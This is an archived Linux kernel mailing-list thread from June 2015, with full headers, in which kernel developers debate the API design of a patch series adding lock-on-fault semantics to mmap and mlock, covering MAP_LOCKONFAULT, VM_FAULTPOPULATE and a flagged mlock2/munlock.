X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254])
	by mx2.suse.de (Postfix) with ESMTP id AEC99AC8C;
	Tue, 23 Jun 2015 12:45:19 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.6.0
In-Reply-To: <20150622141806.GE2329@akamai.com>
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:3152 gmane.linux.kernel:1982133 gmane.linux.ports.mips.general:49158 gmane.linux.ports.parisc:25793 gmane.linux.ports.ppc64.devel:114552 gmane.linux.ports.sparc:21169 gmane.linux.kernel.mm:134692 gmane.linux.kernel.cross-arch:28165 gmane.linux.kernel.api:12292
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/3152>

On 06/22/2015 04:18 PM, Eric B Munson wrote:
> On Mon, 22 Jun 2015, Michal Hocko wrote:
>
>> On Fri 19-06-15 12:43:33, Eric B Munson wrote:
>>> On Fri, 19 Jun 2015, Michal Hocko wrote:
>>>
>>>> On Thu 18-06-15 16:30:48, Eric B Munson wrote:
>>>>> On Thu, 18 Jun 2015, Michal Hocko wrote:
>>>> [...]
>>>>>> Wouldn't it be much more reasonable and straightforward to have
>>>>>> MAP_FAULTPOPULATE as a counterpart for MAP_POPULATE which would
>>>>>> explicitly disallow any form of pre-faulting? It would be usable for
>>>>>> other usecases than with MAP_LOCKED combination.
>>>>>
>>>>> I don't see a clear case for it being more reasonable, it is one
>>>>> possible way to solve the problem.
>>>>
>>>> MAP_FAULTPOPULATE would be usable for other cases as well. E.g. fault
>>>> around is all or nothing feature. Either all mappings (which support
>>>> this) fault around or none. There is no way to tell the kernel that
>>>> this particular mapping shouldn't fault around. I haven't seen such a
>>>> request yet but we have seen requests to have a way to opt out from
>>>> a global policy in the past (e.g. per-process opt out from THP). So
>>>> I can imagine somebody will come with a request to opt out from any
>>>> speculative operations on the mapped area in the future.

That sounds like something where new madvise() flag would make more 
sense than a new mmap flag, and conflating it with locking behavior 
would lead to all kinds of weird corner cases as Eric mentioned.

>>>>
>>>>> But I think it leaves us in an even
>>>>> more akward state WRT VMA flags.  As you noted in your fix for the
>>>>> mmap() man page, one can get into a state where a VMA is VM_LOCKED, but
>>>>> not present.  Having VM_LOCKONFAULT states that this was intentional, if
>>>>> we go to using MAP_FAULTPOPULATE instead of MAP_LOCKONFAULT, we no
>>>>> longer set VM_LOCKONFAULT (unless we want to start mapping it to the
>>>>> presence of two MAP_ flags).  This can make detecting the MAP_LOCKED +
>>>>> populate failure state harder.
>>>>
>>>> I am not sure I understand your point here. Could you be more specific
>>>> how would you check for that and what for?
>>>
>>> My thought on detecting was that someone might want to know if they had
>>> a VMA that was VM_LOCKED but had not been made present becuase of a
>>> failure in mmap.  We don't have a way today, but adding VM_LOCKONFAULT
>>> is at least explicit about what is happening which would make detecting
>>> the VM_LOCKED but not present state easier.
>>
>> One could use /proc/<pid>/pagemap to query the residency.

I think that's all too much complex scenario for a little gain. If 
someone knows that mmap(MAP_LOCKED|MAP_POPULATE) is not perfect, he 
should either mlock() separately from mmap(), or fault the range 
manually with a for loop. Why try to detect if the corner case was hit?

>>
>>> This assumes that
>>> MAP_FAULTPOPULATE does not translate to a VMA flag, but it sounds like
>>> it would have to.
>>
>> Yes, it would have to have a VM flag for the vma.

So with your approach, VM_LOCKED flag is enough, right? The new MAP_ / 
MLOCK_ flags just cause setting VM_LOCKED to not fault the whole vma, 
but otherwise nothing changes.

If that's true, I think it's better than a new vma flag.

>>
>>>>  From my understanding MAP_LOCKONFAULT is essentially
>>>> MAP_FAULTPOPULATE|MAP_LOCKED with a quite obvious semantic (unlike
>>>> single MAP_LOCKED unfortunately). I would love to also have
>>>> MAP_LOCKED|MAP_POPULATE (aka full mlock semantic) but I am really
>>>> skeptical considering how my previous attempt to make MAP_POPULATE
>>>> reasonable went.
>>>
>>> Are you objecting to the addition of the VMA flag VM_LOCKONFAULT, or the
>>> new MAP_LOCKONFAULT flag (or both)?
>>
>> I thought the MAP_FAULTPOPULATE (or any other better name) would
>> directly translate into VM_FAULTPOPULATE and wouldn't be tight to the
>> locked semantic. We already have VM_LOCKED for that. The direct effect
>> of the flag would be to prevent from population other than the direct
>> page fault - including any speculative actions like fault around or
>> read-ahead.
>
> I like the ability to control other speculative population, but I am not
> sure about overloading it with the VM_LOCKONFAULT case.  Here is my
> concern.  If we are using VM_FAULTPOPULATE | VM_LOCKED to denote
> LOCKONFAULT, how can we tell the difference between someone that wants
> to avoid read-ahead and wants to use mlock()?  This might lead to some
> interesting states with mlock() and munlock() that take flags.  For
> instance, using VM_LOCKONFAULT mlock(MLOCK_ONFAULT) followed by
> munlock(MLOCK_LOCKED) leaves the VMAs in the same state with
> VM_LOCKONFAULT set.  If we use VM_FAULTPOPULATE, the same pair of calls
> would clear VM_LOCKED, but leave VM_FAULTPOPULATE.  It may not matter in
> the end, but I am concerned about the subtleties here.

Right.

>>
>>> If you prefer that MAP_LOCKED |
>>> MAP_FAULTPOPULATE means that VM_LOCKONFAULT is set, I am fine with that
>>> instead of introducing MAP_LOCKONFAULT.  I went with the new flag
>>> because to date, we have a one to one mapping of MAP_* to VM_* flags.
>>>
>>>>
>>>>> If this is the preferred path for mmap(), I am fine with that.
>>>>
>>>>> However,
>>>>> I would like to see the new system calls that Andrew mentioned (and that
>>>>> I am testing patches for) go in as well.
>>>>
>>>> mlock with flags sounds like a good step but I am not sure it will make
>>>> sense in the future. POSIX has screwed that and I am not sure how many
>>>> applications would use it. This ship has sailed long time ago.
>>>
>>> I don't know either, but the code is the question, right?  I know that
>>> we have at least one team that wants it here.
>>>
>>>>
>>>>> That way we give users the
>>>>> ability to request VM_LOCKONFAULT for memory allocated using something
>>>>> other than mmap.
>>>>
>>>> mmap(MAP_FAULTPOPULATE); mlock() would have the same semantic even
>>>> without changing mlock syscall.
>>>
>>> That is true as long as MAP_FAULTPOPULATE set a flag in the VMA(s).  It
>>> doesn't cover the actual case I was asking about, which is how do I get
>>> lock on fault on malloc'd memory?
>>
>> OK I see your point now. We would indeed need a flag argument for mlock.
>> --
>> Michal Hocko
>> SUSE Labs

--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Vlastimil Babka <vbabka-AlSwsSmVLrQ@public.gmane.org>
Newsgroups: gmane.linux.kernel.api,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch
Subject: Re: [RESEND PATCH V2 0/3] Allow user to request memory to be locked
 on page fault
Date: Tue, 23 Jun 2015 15:04:22 +0200
Lines: 67
Approved: news@gmane.org
Message-ID: <55895956.5020707@suse.cz>
References: <1433942810-7852-1-git-send-email-emunson@akamai.com> <20150610145929.b22be8647887ea7091b09ae1@linux-foundation.org> <5579DFBA.80809@akamai.com> <20150611123424.4bb07cffd0e5bb146cc92231@linux-foundation.org> <557ACAFC.90608@suse.cz> <20150615144356.GB12300@akamai.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1435064679 27383 80.91.229.3 (23 Jun 2015 13:04:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 23 Jun 2015 13:04:39 +0000 (UTC)
Cc: Andrew Morton <akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>,
	Shuah Khan <shuahkh-JPH+aEBZ4P+UEJcrhfAQsw@public.gmane.org>,
	Michal Hocko <mhocko-AlSwsSmVLrQ@public.gmane.org>,
	Michael Kerrisk <mtk.manpages-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org, linux-mm-Bw31MaZKKs3YtjvyW6yDsg@public.gmane.org,
	linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Eric B Munson <emunson-JqFfY2XvxFXQT0dZR+AlfA@public.gmane.org>
Original-X-From: linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Tue Jun 23 15:04:30 2015
Return-path: <linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glka-linux-api-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1Z7NsL-0001Ql-IQ
	for glka-linux-api-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Tue, 23 Jun 2015 15:04:29 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1754471AbbFWNE2 (ORCPT <rfc822;glka-linux-api@m.gmane.org>);
	Tue, 23 Jun 2015 09:04:28 -0400
Original-Received: from cantor2.suse.de ([195.135.220.15]:54052 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753853AbbFWNE1 (ORCPT <rfc822;linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
	Tue, 23 Jun 2015 09:04:27 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254])
	by mx2.suse.de (Postfix) with ESMTP id AF68FAAB4;
	Tue, 23 Jun 2015 13:04:23 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.6.0
In-Reply-To: <20150615144356.GB12300-JqFfY2XvxFXQT0dZR+AlfA@public.gmane.org>
Original-Sender: linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-api.vger.kernel.org>
X-Mailing-List: linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.api:12293 gmane.linux.ports.alpha:3153 gmane.linux.kernel:1982149 gmane.linux.ports.mips.general:49159 gmane.linux.ports.parisc:25794 gmane.linux.ports.ppc64.devel:114553 gmane.linux.ports.sparc:21170 gmane.linux.kernel.mm:134693 gmane.linux.kernel.cross-arch:28166
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.api/12293>

On 06/15/2015 04:43 PM, Eric B Munson wrote:
>> Note that the semantic of MAP_LOCKED can be subtly surprising:
>>
>> "mlock(2) fails if the memory range cannot get populated to guarantee
>> that no future major faults will happen on the range.
>> mmap(MAP_LOCKED) on the other hand silently succeeds even if the
>> range was populated only
>> partially."
>>
>> ( from http://marc.info/?l=linux-mm&m=143152790412727&w=2 )
>>
>> So MAP_LOCKED can silently behave like MAP_LOCKONFAULT. While
>> MAP_LOCKONFAULT doesn't suffer from such problem, I wonder if that's
>> sufficient reason not to extend mmap by new mlock() flags that can
>> be instead applied to the VMA after mmapping, using the proposed
>> mlock2() with flags. So I think instead we could deprecate
>> MAP_LOCKED more prominently. I doubt the overhead of calling the
>> extra syscall matters here?
>
> We could talk about retiring the MAP_LOCKED flag but I suspect that
> would get significantly more pushback than adding a new mmap flag.

Oh no we can't "retire" as in remove the flag, ever. Just not continue 
the way of mmap() flags related to mlock().

> Likely that the overhead does not matter in most cases, but presumably
> there are cases where it does (as we have a MAP_LOCKED flag today).
> Even with the proposed new system calls I think we should have the
> MAP_LOCKONFAULT for parity with MAP_LOCKED.

I'm not convinced, but it's not a major issue.

>>
>>> - mlock() takes a `flags' argument.  Presently that's
>>>    MLOCK_LOCKED|MLOCK_LOCKONFAULT.
>>>
>>> - munlock() takes a `flags' arument.  MLOCK_LOCKED|MLOCK_LOCKONFAULT
>>>    to specify which flags are being cleared.
>>>
>>> - mlockall() and munlockall() ditto.
>>>
>>>
>>> IOW, LOCKED and LOCKEDONFAULT are treated identically and independently.
>>>
>>> Now, that's how we would have designed all this on day one.  And I
>>> think we can do this now, by adding new mlock2() and munlock2()
>>> syscalls.  And we may as well deprecate the old mlock() and munlock(),
>>> not that this matters much.
>>>
>>> *should* we do this?  I'm thinking "yes" - it's all pretty simple
>>> boilerplate and wrappers and such, and it gets the interface correct,
>>> and extensible.
>>
>> If the new LOCKONFAULT functionality is indeed desired (I haven't
>> still decided myself) then I agree that would be the cleanest way.
>
> Do you disagree with the use cases I have listed or do you think there
> is a better way of addressing those cases?

I'm somewhat sceptical about the security one. Are security sensitive 
buffers that large to matter? The performance one is more convincing and 
I don't see a better way, so OK.

>
>>
>>> What do others think?


From - Thu Nov 08 21:37:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michal Hocko <mhocko@suse.cz>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: Re: [RESEND PATCH V2 1/3] Add mmap flag to request pages are locked
 after page fault
Date: Wed, 24 Jun 2015 10:50:13 +0200
Lines: 83
Approved: news@gmane.org
Message-ID: <20150624085013.GB32756@dhcp22.suse.cz>
References: <1433942810-7852-1-git-send-email-emunson@akamai.com>
 <1433942810-7852-2-git-send-email-emunson@akamai.com>
 <20150618152907.GG5858@dhcp22.suse.cz>
 <20150618203048.GB2329@akamai.com>
 <20150619145708.GG4913@dhcp22.suse.cz>
 <20150619164333.GD2329@akamai.com>
 <20150622123826.GF4430@dhcp22.suse.cz>
 <20150622141806.GE2329@akamai.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1435135835 8829 80.91.229.3 (24 Jun 2015 08:50:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 24 Jun 2015 08:50:35 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>, linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	linux-mm@kvack.org, linux-arch@vger.kernel.org,
	linux-api@vger.kernel.org
To: Eric B Munson <emunson@akamai.com>
Original-X-From: owner-linux-mm@kvack.org Wed Jun 24 10:50:23 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1Z7gNx-0002F7-4A
	for glkm-linux-mm-2@m.gmane.org; Wed, 24 Jun 2015 10:50:21 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 585416B0070; Wed, 24 Jun 2015 04:50:17 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 5109D6B0071; Wed, 24 Jun 2015 04:50:17 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 3FE596B0072; Wed, 24 Jun 2015 04:50:17 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-wi0-f176.google.com (mail-wi0-f176.google.com [209.85.212.176])
	by kanga.kvack.org (Postfix) with ESMTP id DAFC06B0070
	for <linux-mm@kvack.org>; Wed, 24 Jun 2015 04:50:16 -0400 (EDT)
Original-Received: by wicgi11 with SMTP id gi11so39483781wic.0
        for <linux-mm@kvack.org>; Wed, 24 Jun 2015 01:50:16 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-original-authentication-results:x-gm-message-state:date:from:to
         :cc:subject:message-id:references:mime-version:content-type
         :content-disposition:in-reply-to:user-agent;
        bh=twUg/F2TYAlY6LRpl/4iRdsqlQ610wwxplFG+ag0IEs=;
        b=Hx/lg/a8srEDBWTTltgG2RP9/jsygkqVVTBa4iNKYNiyMzFjzZGmLvTj6L1nHvtMzn
         M/0sCc+y2YqggOvKwswSagbv6yI6PNwKAD7OC/6FFjLwTuYif/D3XmHJ27SJ4xgn30Fm
         qXFFA4hrmXY6Oi+m6arDu10CFxT85EbKvUoEZBPESVdG7zjWhJd1JmYtb574QOujsBqr
         IowHku6XvFLViSpQgPKEocu7oJGiQUwtZb0yx+C4IWD3s5U9HuSmYQ3mem1MEeaaAunc
         vTyrCO9gynk01QisjBoHoEF4DlBSKxwg5IW+6nqDhg2Dirscpj8CmMChcX4o6aJamlEx
         FF5A==
X-Original-Authentication-Results: mx.google.com;       spf=neutral (google.com: 195.135.220.15 is neither permitted nor denied by best guess record for domain of mhocko@suse.cz) smtp.mail=mhocko@suse.cz
X-Gm-Message-State: ALoCoQlsMPYGQ3XNBTnfbXAXeELm30fcK+TC8qcl/hrEuo4bSOilvPH0H/Akbb1BHx8IzXLsGdyF03ciRScja7Y6W+bKq3IlU5x2chrll0d63k73O3RDGc73CMZH4MuJzpF7aFr08Jpuxoea4++Ik+Hma7Xr1Xp9G3mEGlYBlT7PofZFCBQEvjKCXLhfMYJS9EU8KLgSLVei
X-Received: by 10.194.184.140 with SMTP id eu12mr67382588wjc.78.1435135816368;
        Wed, 24 Jun 2015 01:50:16 -0700 (PDT)
X-Received: by 10.194.184.140 with SMTP id eu12mr67382459wjc.78.1435135815453;
        Wed, 24 Jun 2015 01:50:15 -0700 (PDT)
Original-Received: from mx2.suse.de (cantor2.suse.de. [195.135.220.15])
        by mx.google.com with ESMTPS id it9si1657621wid.64.2015.06.24.01.50.14
        for <linux-mm@kvack.org>
        (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Wed, 24 Jun 2015 01:50:15 -0700 (PDT)
Received-SPF: neutral (google.com: 195.135.220.15 is neither permitted nor denied by best guess record for domain of mhocko@suse.cz) client-ip=195.135.220.15;
Authentication-Results: mx.google.com;
       spf=neutral (google.com: 195.135.220.15 is neither permitted nor denied by best guess record for domain of mhocko@suse.cz) smtp.mail=mhocko@suse.cz
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254])
	by mx2.suse.de (Postfix) with ESMTP id 00AF4AC6B;
	Wed, 24 Jun 2015 08:50:13 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <20150622141806.GE2329@akamai.com>
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:134741 gmane.linux.ports.alpha:3154 gmane.linux.kernel:1982776 gmane.linux.ports.mips.general:49169 gmane.linux.ports.parisc:25795 gmane.linux.ports.ppc64.devel:114577 gmane.linux.ports.sparc:21171 gmane.linux.kernel.cross-arch:28169 gmane.linux.kernel.api:12313
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/134741>

On Mon 22-06-15 10:18:06, Eric B Munson wrote:
> On Mon, 22 Jun 2015, Michal Hocko wrote:
> 
> > On Fri 19-06-15 12:43:33, Eric B Munson wrote:
[...]
> > > Are you objecting to the addition of the VMA flag VM_LOCKONFAULT, or the
> > > new MAP_LOCKONFAULT flag (or both)? 
> > 
> > I thought the MAP_FAULTPOPULATE (or any other better name) would
> > directly translate into VM_FAULTPOPULATE and wouldn't be tight to the
> > locked semantic. We already have VM_LOCKED for that. The direct effect
> > of the flag would be to prevent from population other than the direct
> > page fault - including any speculative actions like fault around or
> > read-ahead.
> 
> I like the ability to control other speculative population, but I am not
> sure about overloading it with the VM_LOCKONFAULT case.  Here is my
> concern.  If we are using VM_FAULTPOPULATE | VM_LOCKED to denote
> LOCKONFAULT, how can we tell the difference between someone that wants
> to avoid read-ahead and wants to use mlock()?

Not sure I understand. Something like?
addr = mmap(VM_FAULTPOPULATE) # To prevent speculative mappings into the vma
[...]
mlock(addr, len) # Now I want the full mlock semantic

and the later to have the full mlock semantic and populate the given
area regardless of VM_FAULTPOPULATE being set on the vma? This would
be an interesting question because mlock man page clearly states the
semantic and that is to _always_ populate or fail. So I originally
thought that it would obey VM_FAULTPOPULATE but this needs a more
thinking.

> This might lead to some
> interesting states with mlock() and munlock() that take flags.  For
> instance, using VM_LOCKONFAULT mlock(MLOCK_ONFAULT) followed by
> munlock(MLOCK_LOCKED) leaves the VMAs in the same state with
> VM_LOCKONFAULT set. 

This is really confusing. Let me try to rephrase that. So you have
mlock(addr, len, MLOCK_ONFAULT)
munlock(addr, len, MLOCK_LOCKED)

IIUC you would expect the vma still being MLOCK_ONFAULT, right? Isn't
that behavior strange and unexpected? First of all, munlock has
traditionally dropped the lock on the address range (e.g. what should
happen if you did plain old munlock(addr, len)). But even without
that. You are trying to unlock something that hasn't been locked the
same way. So I would expect -EINVAL at least, if the two modes should be
really represented by different flags.

Or did you mean the both types of lock like:
mlock(addr, len, MLOCK_ONFAULT) | mmap(MAP_LOCKONFAULT)
mlock(addr, len, MLOCK_LOCKED)
munlock(addr, len, MLOCK_LOCKED)

and that should keep MLOCK_ONFAULT?
This sounds even more weird to me because that means that the vma in
question would be locked by two different mechanisms. MLOCK_LOCKED with
the "always populate" semantic would rule out MLOCK_ONFAULT so what
would be the meaning of the other flag then? Also what should regular
munlock(addr, len) without flags unlock? Both?

> If we use VM_FAULTPOPULATE, the same pair of calls
> would clear VM_LOCKED, but leave VM_FAULTPOPULATE.  It may not matter in
> the end, but I am concerned about the subtleties here.

This sounds like the proper behavior to me. munlock should simply always
drop VM_LOCKED and the VM_FAULTPOPULATE can live its separate life.

Btw. could you be more specific about semantic of m{un}lock(addr, len, flags)
you want to propose? The more I think about that the more I am unclear
about it, especially munlock behavior and possible flags.
-- 
Michal Hocko
SUSE Labs

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michal Hocko <mhocko-AlSwsSmVLrQ@public.gmane.org>
Newsgroups: gmane.linux.kernel.api,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch
Subject: Re: [RESEND PATCH V2 1/3] Add mmap flag to request pages are locked
 after page fault
Date: Wed, 24 Jun 2015 11:47:42 +0200
Lines: 45
Approved: news@gmane.org
Message-ID: <20150624094742.GD32756@dhcp22.suse.cz>
References: <1433942810-7852-1-git-send-email-emunson@akamai.com>
 <1433942810-7852-2-git-send-email-emunson@akamai.com>
 <20150618152907.GG5858@dhcp22.suse.cz>
 <20150618203048.GB2329@akamai.com>
 <20150619145708.GG4913@dhcp22.suse.cz>
 <20150619164333.GD2329@akamai.com>
 <20150622123826.GF4430@dhcp22.suse.cz>
 <20150622141806.GE2329@akamai.com>
 <558954DD.4060405@suse.cz>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1435139277 31871 80.91.229.3 (24 Jun 2015 09:47:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 24 Jun 2015 09:47:57 +0000 (UTC)
Cc: Eric B Munson <emunson-JqFfY2XvxFXQT0dZR+AlfA@public.gmane.org>,
	Andrew Morton <akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org, linux-mm-Bw31MaZKKs3YtjvyW6yDsg@public.gmane.org,
	linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Vlastimil Babka <vbabka-AlSwsSmVLrQ@public.gmane.org>
Original-X-From: linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Wed Jun 24 11:47:50 2015
Return-path: <linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glka-linux-api-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1Z7hHY-0007yb-NX
	for glka-linux-api-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Wed, 24 Jun 2015 11:47:49 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1752244AbbFXJrq (ORCPT <rfc822;glka-linux-api@m.gmane.org>);
	Wed, 24 Jun 2015 05:47:46 -0400
Original-Received: from cantor2.suse.de ([195.135.220.15]:50601 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752174AbbFXJrp (ORCPT <rfc822;linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
	Wed, 24 Jun 2015 05:47:45 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254])
	by mx2.suse.de (Postfix) with ESMTP id 1B47BAC6B;
	Wed, 24 Jun 2015 09:47:43 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <558954DD.4060405-AlSwsSmVLrQ@public.gmane.org>
User-Agent: Mutt/1.5.23 (2014-03-12)
Original-Sender: linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-api.vger.kernel.org>
X-Mailing-List: linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.api:12315 gmane.linux.ports.alpha:3155 gmane.linux.kernel:1982821 gmane.linux.ports.mips.general:49173 gmane.linux.ports.parisc:25796 gmane.linux.ports.ppc64.devel:114578 gmane.linux.ports.sparc:21172 gmane.linux.kernel.mm:134743 gmane.linux.kernel.cross-arch:28170
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.api/12315>

On Tue 23-06-15 14:45:17, Vlastimil Babka wrote:
> On 06/22/2015 04:18 PM, Eric B Munson wrote:
> >On Mon, 22 Jun 2015, Michal Hocko wrote:
> >
> >>On Fri 19-06-15 12:43:33, Eric B Munson wrote:
[...]
> >>>My thought on detecting was that someone might want to know if they had
> >>>a VMA that was VM_LOCKED but had not been made present becuase of a
> >>>failure in mmap.  We don't have a way today, but adding VM_LOCKONFAULT
> >>>is at least explicit about what is happening which would make detecting
> >>>the VM_LOCKED but not present state easier.
> >>
> >>One could use /proc/<pid>/pagemap to query the residency.
> 
> I think that's all too much complex scenario for a little gain. If someone
> knows that mmap(MAP_LOCKED|MAP_POPULATE) is not perfect, he should either
> mlock() separately from mmap(), or fault the range manually with a for loop.
> Why try to detect if the corner case was hit?

No idea. I have just offered a way to do that. I do not think it is
anyhow useful but who knows... I do agree that the mlock should be used
for the full mlock semantic.

> >>>This assumes that
> >>>MAP_FAULTPOPULATE does not translate to a VMA flag, but it sounds like
> >>>it would have to.
> >>
> >>Yes, it would have to have a VM flag for the vma.
> 
> So with your approach, VM_LOCKED flag is enough, right? The new MAP_ /
> MLOCK_ flags just cause setting VM_LOCKED to not fault the whole vma, but
> otherwise nothing changes.

